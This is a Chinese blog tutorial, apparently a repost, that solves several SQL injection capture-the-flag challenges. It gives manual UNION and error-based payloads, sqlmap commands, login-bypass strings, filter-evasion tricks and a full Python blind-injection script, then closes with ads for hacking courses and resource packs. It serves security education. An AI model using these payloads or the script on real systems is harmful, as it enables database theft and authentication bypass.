2026/3/10 23:19:31
网站建设
项目流程
沈阳网站建设包括,广州网站建设推荐,服务器上搭建网站,wordpress汉化主体正文
无过滤带回显的情况
手工注入 bugku的环境 在这一环境中的主要是通过post方式传入一个参数id来查询数据库内容。
首先判断sql语句闭合方式
当在id的值后面加上时#xff0c;界面无回显#xff0c;可以判断后端的sql语句应该是
select xxxx from xxxx where id in…正文无过滤带回显的情况手工注入bugku的环境在这一环境中的主要是通过post方式传入一个参数id来查询数据库内容。首先判断sql语句闭合方式当在id的值后面加上时界面无回显可以判断后端的sql语句应该是select xxxx from xxxx where id input_id [xxxx]或者是这样的select xxxx from xxxx where id (input_id) [xxxx]在id 1的值后面加上注释符#之后发现界面正常显示所以可以断定sql语句的形式是id input_id。常用的闭合方式还用id input_idid (input_id),id (input_id)等等具体是哪一种只能看程序猴的写法。判断返回的列数可以使用order by子句判断返回的列数。当构造post参数中的order by为5时界面无回显、值为4时有回显。所以后端返回的列数应该是4。id1 order by 5 #判断后端返回的前端显示的格式id-1 union select 1,2,3,4 #知道返回的列名之后就可以执行后继的操作和查询各种数据了。比如查询当前的数据库名和当前的用户名以及当前的sql版本号id-1 union select 1,database(),user(),version() #注入出当前数据库所有的表名id-2 union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())#注入出某一个表中的全部列名id-2 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_namefl4g)#到目前为止已经能查询数据库名称、登陆数据库的用户名称、当前数据库的所有表名、某一个表中的全部字段名称等等数据。例如在数据表fl4g中的全部的列名只有一个skctf_flag。那么怎样查询字段内容呢请看下面的注入出字段内容利用前面注入出的信息包括表名,列名就可以查询字段内容了。id-2 union select 1,2,3,(select skctf_flag from fl4g) #sqlmap 注入sqlmap 一款用来检测与利用SQL注入漏洞的免费开源工具神器。使用sqlmap可以帮助我们更快更好更方便的进行注入优点有很多缺点就是再好的工具永远都是工具。使用sqlmap进行注入的步骤和手工收入基本一致。首先使用抓包工具将界面的正常请求保存至一个文件中当然还有其他方式啦比如--data参数。为啥勒因为这个例题环境是post方式请求如果是get方式可以略过这步。例如我把抓包内容POST /chengjidan/index.php HTTP/1.1 Host: 120.24.86.145:8002 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,en-US;q0.5,en;q0.3 Accept-Encoding: gzip, deflate Referer: http://120.24.86.145:8002/chengjidan/index.php client-ip: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 4 id1保存到post_sqli.txt这个文件中检测是否可以注入和获取基础信息$ sqlmap -r post_sqli.txt执行结果--- Parameter: id (POST) Type: AND/OR time-based blind Title: MySQL 5.0.12 AND time-based blind Payload: id1 AND SLEEP(5) AND ShhAShhA Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: id-2292 UNION ALL SELECT CONCAT(0x716b716b71,0x45784b6e4e78446d737053476e4c4875704c6a58414e444171676264674f634d436c506f554d636b,0x71766a7671),NULL,NULL,NULL-- EKPR ---获取所有的数据库名sqlmap -r post_sqli.txt --dbmsmysql --dbstip:由于前一步已经确定数据库的类型已经版本号可以添加参数--dbmsmysql使得sqlmap只进行与mysql相关的测试。执行结果节选available databases [2]: [*] information_schema [*] skctf_flag获取据库某一个表中所有的表名$ sqlmap -r post_sqli.txt --dbmsmysql -D skctf_flag --table执行结果节选Database: skctf_flag [2 tables] ------ | fl4g | | sc | ------获取所有的列名$ sqlmap -r post_sqli.txt --dbmsmysql -D skctf_flag -T fl4g --columns执行结果节选Database: skctf_flag Table: fl4g [1 column] ------------------------- | Column | Type | ------------------------- | skctf_flag | varchar(64) | -------------------------获取字段值$ sqlmap -r post_sqli.txt --dbmsmysql -D skctf_flag -T fl4g -C fl4g --dump与这一类似的还有实验吧的环境需要注意的在这个中是get传参数闭合方式为id input_id。万能密码CG-CTF-sql注入1这个环境中直接给了源代码更方便让我们分析。html head Secure Web Login /head body ?php if($_POST[user] $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . : . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user trim($_POST[user]); $pass md5(trim($_POST[pass])); $sqlselect user from ctf where (user.$user.) and (pw.$pass.); echo /br.$sql; $query mysql_fetch_array(mysql_query($sql)); if($query[user]admin) { echo pLogged in! flag:******************** /p; } if($query[user] ! admin) { echo(pYou are not admin!/p); } } echo $query[user]; ? form methodpost actionindex.php input typetext nameuser valueUsername input typepassword namepass valuePassword input typesubmit /form /body a hrefindex.phpsSource/a /html这段代码中整体的逻辑没有什么异常但是没有任何的防护。其中的sql语句$sqlselect user from ctf where (user.$user.) and (pw.$pass.);正常的逻辑是输入正确的用户名和密码才能登录由于没有任何防止sql注入的措施所以一般正常的查询语句为select user from ctf where user admin and pw xxxxxx;由于没有限制输入所以我们可以构造这样的查询语句注释掉后面的一部分代码这样就可以免验证密码登录。这个就是万能密码的原理。select user from ctf where user admin -- and pw zxxxxx;在这个环境中需要构造useradmin) #即可。加上)的原因是下面的sql语句是这样拼接的所以需要自己填上)使得user可以闭合。$sqlselect user from ctf where (user.$user.) and (pw.$pass.);万能密码2以实验吧这题为例子大概讲讲万能密码。万能密码万能密码就是绕过登录验证直接进入管理员后台的密码一般的都需要测试后端过滤了什么关键字如果后端没有防火墙建议使用burp site进行模糊测试。大概整理了一下发现过滤以下的关键字selectorunion/|%7c发现没有过滤‘、”、()、所以尝试使用万能密码看看是否能绕过登陆。http://ctf5.shiyanbar.com/web/wonderkun/web/login.php传入post参数usernamepassword发现可以直接登陆。登陆之后发现一共有三组用户爆破是不可能爆破的。原理解释usernamepassword大概后端的sql语句是这样的string sql select * from users where username input_username and password input_password;然后传入参数usernamepassword此时的sql语句变成string sql select * from users where username and password ;其中的返回1mysql select ; ------- | | ------- | 1 | -------即usernameTrue and passwordTrue即可绕过。mysql select * from users where username and password ; ------------------------ | id | username | password | ------------------------ | 1 | test1 | pass | | 2 | user2 | pass1 | | 3 | test3 | pass1 | ------------------------过滤一部分的情况CG-CTF-SQL Injectiontips : TIP:反斜杠可以用来转义 仔细查看相关函数的用法下面的代码这个环境提供的后端源代码通过简单的代码分析发现过滤了反斜杠和单引号以及双引号。?php #GOAL: login as admin,then get the flag; error_reporting(0); require db.inc.php; function clean($str){ if(get_magic_quotes_gpc()){ $strstripslashes($str);//删除反斜杠去掉转义 } return htmlentities($str, ENT_QUOTES);//编码双引号和单引号 } $username clean((string)$_GET[username]); $password clean((string)$_GET[password]); $querySELECT * FROM users WHERE name\.$username.\ AND pass\.$password.\;; $resultmysql_query($query); if(!$result || mysql_num_rows($result) 1){ die(Invalid password!); } echo $flag; ?只能通过引入反斜杠转义原有的单引号改变原sql语句的逻辑导致sql注入。payload : ?usernamepassword or 1%23SELECT * FROM users WHERE name\ AND pass or 1 #union绕过型CG-ctfsql注入2题目源代码html head Secure Web Login II /head body ?php if($_POST[user] $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . : . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user $_POST[user]; $pass md5($_POST[pass]); $query mysql_fetch_array(mysql_query(select pw from ctf where user$user)); if (($query[pw]) (!strcasecmp($pass, $query[pw]))) { echo pLogged in! Key: ntcf{**************} /p; } else { echo(pLog in failure!/p); } } ? form methodpost actionindex.php input typetext nameuser valueUsername input typepassword namepass valuePassword input typesubmit /form /body a hrefindex.phpsSource/a /html可以直接通过参数user注出admin的密码然后登陆拿flag也可以直接按照出题者的意图通过union查询来绕过。当union前面的语句查询不成功的时候会执行后面的语句所以构造下面的payloadUsername union select 9b17d9b51d0d090939ca6ff11c7d8c1bPasswordjedi其中的9b17d9b51d0d090939ca6ff11c7d8c1b为jedi的md5值。本地测试结果mysql select password from users where username union select jedi; ---------- | password | ---------- | jedi | ---------- 1 row in set (0.00 sec)过滤好多好多的情况像上一种的sql注入在现实生活中几乎不可能遇到因为现在的web应用基本上都有类似waf或者在设计时考虑到安全问题等所以想要成功的注入需要绕过。以实验吧这一题作为例如讲述一般情况下SQL注入怎么绕过。进入题目之后发现一个tips按照要求传入username和password参数。提示登陆失败右击查看网页源代码发现这样的提示!-- $sqlselect * from users where username$username and password$password; --从中得到sql语句结构毕竟这只是CTF题目在现实生活中应该是手工或者使用工具测试出sql语句的结构。这里使用burp site来分别对username以及password进行sql注入模糊测试。测试的返回的结果有四种。第一种返回User name unknow error.第二种返回Sql injection detected原因应该是触发了敏感词第三种返回Login failed这一种是正常的密码错误回显。第四种返回的就是语法错误。然后整理username过滤了大概这些关键字( ) unionpassword过滤了这一些有一些无关紧要的关键字就不裂出来了。 union updatexml梳理一下过滤union就意味着不能进行联合查询过滤了括号就意味这不能使用函数但是username没有过滤updatexml并且password参数没有过滤括号就需要下面的骚方法来构造updatexml()了。首先解释什么是updatexml()UPDATEXML (XML_document, XPath_string, new_value);第一个参数XML_document是String格式为XML文档对象的名称文中为Doc第二个参数XPath_string (Xpath格式的字符串) 如果不了解Xpath语法可以在网上查找教程。第三个参数new_valueString格式替换查找到的符合条件的数据mysql select updatexml(1,concat(0x7e,(SELECT database()),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: ~test~大概就是这样使用的把上面的sql语句中database()改为需要的合法sql语句即可。回到正题那个骚骚的方法就是http分割注入http分割注入:把一个想执行的语句拆散到两个参数里并注释中间的东西来达到注入的目的正常传入的post参数是这样的然后就是不正常的了爆库usernameadmin or updatexml/*password*/(1,concat(0x7e,(select database()),0x7e),1) or 1爆表这个到后面的操作都需要到但是被过滤所以需要等价符号来取代具体绕过方法看我的另一篇博文。usernameadmin or updatexml/*password*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where !(table_schema database())),0x7e),1) or 1在本次的环境中REGEXP也可以用来取代。usernameadmin or updatexml/*password*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema REGEXP database()),0x7e),1) or 1爆字段usernameadmin or updatexml/*password*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name REGEXP ffll44jj ),0x7e),1) or 1爆内容usernameadmin or updatexml/*password*/(1,concat(0x7e,(select value from ffll44jj ),0x7e),1) or 1小结遇到sql注入不要慌恩。sql异或注入tips : 本题有2个flagflag均为小写flag格式 flag{}链接这一题目主要学习到了异或注入平台入口显示这一题应该还是我们学校的题目。还是我太年轻了。id到变大之后会提示这是sql注入尝试了各种注入都没有办法最后发现这是异或注入。简单的收集一下信息这个题目的闭合方式是单引号闭合并且报错返回结果只有Error,Error,Error!。在URL的最后加上注释--发现没有报错所以确定这是SQL注入。然后判断sql注入的类型http://123.206.87.240:9004/1ndex.php?id2’ or 11–http://123.206.87.240:9004/1ndex.php?id2’ oorr 11–发现or和and等关键字被过滤但是可以双写绕过。那么其他被过滤的字符怎么来判断呢需要用到一个叫做sql异或注入的东西。和异或差不多异或注入就是两个条件相同同真或同假即为假。http://123.206.87.240:9004/1ndex.php?id2’^(length(“union”)!0)–界面返回正常所以说明length(select)0也就是说select关键字被过滤。同样的简单的测试一下被过滤的关键字有orandselectunion恩知道这些就已经够了被过滤的可以双写绕过。所以后台处理的应该是使用string的replace方法将关键字置空。爆表http://123.206.87.240:9004/1ndex.php ?id-2 uniounionn selecselectt 1, group_concat(table_name) from infoorrmation_schema.tables where table_schemadatabase() --爆字段http://123.206.87.240:9004/1ndex.php ?id-2 uniounionn selecselectt 1, group_concat(column_name) from infoorrmation_schema.columns where table_nameflag1--爆数据http://123.206.87.240:9004/1ndex.php ?id-2 uniounionn selecselectt 1,flag1 from flag1--发现注入出来的是这个字符串usOwycTjuFTUUzXosjr但是提交不正确所以尝试爆address字段的数据。得到这个地址又是一个注入和题目多次相对应。在id1之后加一个直接把mysql的报错信息直接打印出来并且还直接把我们构造的id直接打印出来。看着应该很容易的样子。使用异或注入的方法也可以发现下面的关键字被过滤union substr sleep双写无法绕过大小写无法绕过//无法绕过。所以尝试使用updatexml报错爆表http://123.206.87.240:9004/Once_More.php ?id1 and updatexml(1,concat(_,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),_),1) --XPATH syntax error: ,flag2_爆字段http://123.206.87.240:9004/Once_More.php ?id1 and updatexml(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_nameflag2),~),1) --XPATH syntax error: ~flag2,address~爆内容http://123.206.87.240:9004/Once_More.php ?id1 and updatexml(1,concat(~,(select flag2 from flag2),~),1) --XPATH syntax error: ~flag{Bugku-sql_6s-2i-4t-bug}~sql盲注一般来说sql盲注分为三种类型基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注关于盲注的知识点非常多这篇博文未涉及的知识点请自行学习。这里先以实验吧的这个布尔盲注环境为例子说明什么是sql盲注并以此学习简单的sql盲注脚本。首先进行简单的测试大概可以得出这个环境中返回的结果只有三种You are in …正常You are not in …不正常原因大概是所要查询的id索引不在数据库中但是没有触发wafSql injection detected!不正常原因是传入的id的值包含某些敏感词触发waf。下一步就是进行模糊测试这里使用工具Burp Site进行具体用法自行百度。大概整理了一下被过滤的敏感词有unionorder byhandlerand空格substrsleepor但是or关键字有点特殊可以大小写绕过或者双写绕过。猜测后台是这样处理的使用replace函数把or置换为空。所以基本上联合查询时间盲注没有希望id0oorr0oorr0返回You are not in ...............id0oorr1oorr0返回You are in ................判定存在布尔型盲注通过id0oorr(select(length(database())18))oorr0返回You are in ................可以判断数据库名称长度为18其中的两个oorr中间的参数可以控制。按照这个思路可以写出一下的盲注脚本需要注意的是or会被后台置换为空所以information等字母需要改为类似infoorrmation,被过滤可以使用使用from xx for xxx代替空格可以使用/**/代替。具体的绕过的思路可以参考我的另一篇博文。以下是完整的注入脚本需要下载requests库代码没有优化只是按照就简单明了的思路进行编码。#!/usr/bin/env python3 # coding:utf-8 # power by jedi import requests headers { POST: /web/earnest/index.php HTTP/1.1, Host: ctf5.shiyanbar.com, User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0, Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8, Accept-Language: zh-CN,zh;q0.8,en-US;q0.5,en;q0.3, Accept-Encoding: gzip, deflate } url http://ctf5.shiyanbar.com/web/earnest/index.php str_right You are in guess abcdefghijklmnopqrstuvwxyz0123456789~-*/\{}?!:#$[]._ def get_database_name_length(): print(get_database_name_length start...) i 0 while True: data { id: 0oorr(length(database())%s)oorr0 % i, submit: %E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 } response requests.post( url, datadata, headersheaders, timeout3).text # print(response) if str_right in response: print(database name length: %s % i) return i i 1 def get_database_name(): print(get_database_name start...) # database_name_length get_database_name_length() database_name_length 18 database_name for i in range(0, database_name_length): i 1 for x in guess: data { id: 0oorr(mid((database())from(%s)foorr(1))%s)oorr0 % (i, x), submit: %E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 } # print(x) try: response requests.post( url, datadata, headersheaders, timeout3).text # print(data) if str_right in response: database_name x print(%s--------%s % (i, x)) break except Exception as e: print(e) print(database name:%s % database_name) def get_table_name(): print(get_table_name start...) table_names for i in range(30): i 1 for x in guess: data { id: 0oorr((select(mid(group_concat(table_name)from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)database())%s)oorr0 % (i, x) } try: response requests.post( url, datadata, headersheaders, timeout3).text # print(data) if str_right in response: table_names x print(%s--------%s % (i, x)) break except Exception as e: print(e) print(table names:%s % table_names) 1--------f 2--------i 3--------a 4--------g 6--------u 7--------s 8--------e 9--------r 10--------s def get_column_name(): print(get_column_name) column_name for i in range(30): i 1 for x in guess: data { id: 0oorr((select(mid(group_concat(column_name)from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)fiag)%s)oorr0 % (i, x) } try: response requests.post( url, datadata, headersheaders, timeout3).text # print(data) if str_right in response: column_name x print(%s--------%s % (i, x)) break except Exception as e: print(e) print(table names:%s % column_name) 1--------f 2--------l 3--------$ 4--------4 5--------g def dump_flag(): print(dump_flag) flag for i in range(30): i 1 for x in guess: data { id:0oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))%s)oorr0%(i,x) } #print(data) try: response requests.post(url, datadata, headersheaders, timeout3).text if str_right in response: flag x print(%s-----%s%(i,x)) break except Exception as e: print(e) def main(): # get_database_name_length() #get_table_name() #get_column_name() dump_flag() if __name__ __main__: main()小结sql盲注一般先要判断盲注的类型然后判断被过滤的关键字再然后关键字绕过最后编码。网络安全的知识多而杂怎么科学合理安排下面给大家总结了一套适用于网安零基础的学习路线应届生和转行人员都适用学完保底6k就算你底子差如果能趁着网安良好的发展势头不断学习日后跳槽大厂、拿到百万年薪也不是不可能初级黑客1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取网络安全大礼包《黑客网络安全入门进阶学习资源包》免费分享7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完·用Python编写漏洞的exp,然后写一个简单的网络爬虫·PHP基本语法学习并书写一个简单的博客系统熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选)·了解Bootstrap的布局或者CSS。8、高级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线很多小伙伴想要一窥网络安全整个体系这里我分享一份打磨了4年已经成功修改到4.0版本的**《平均薪资40w的网络安全工程师学习路线图》**对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。如果你想要入坑黑客网络安全工程师这份282G全网最全的网络安全资料包网络安全大礼包《黑客网络安全入门进阶学习资源包》免费分享学习资料工具包压箱底的好资料全面地介绍网络安全的基础理论包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等将基础理论和主流工具的应用实践紧密结合有利于读者理解各种主流工具背后的实现机制。网络安全源码合集工具包视频教程视频配套资料国内外网安书籍、文档工具 因篇幅有限仅展示部分资料需要点击下方链接即可前往获取黑客/网安大礼包CSDN大礼包《黑客网络安全入门进阶学习资源包》免费分享好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!特别声明此教程为纯技术分享本文的目的决不是为那些怀有不良动机的人提供及技术支持也不承担因为技术被滥用所产生的连带责任本书的目的在于最大限度地唤醒大家对网络安全的重视并采取相应的安全措施从而减少由网络安全而带来的经济损失。本文转自网络如有侵权请联系删除。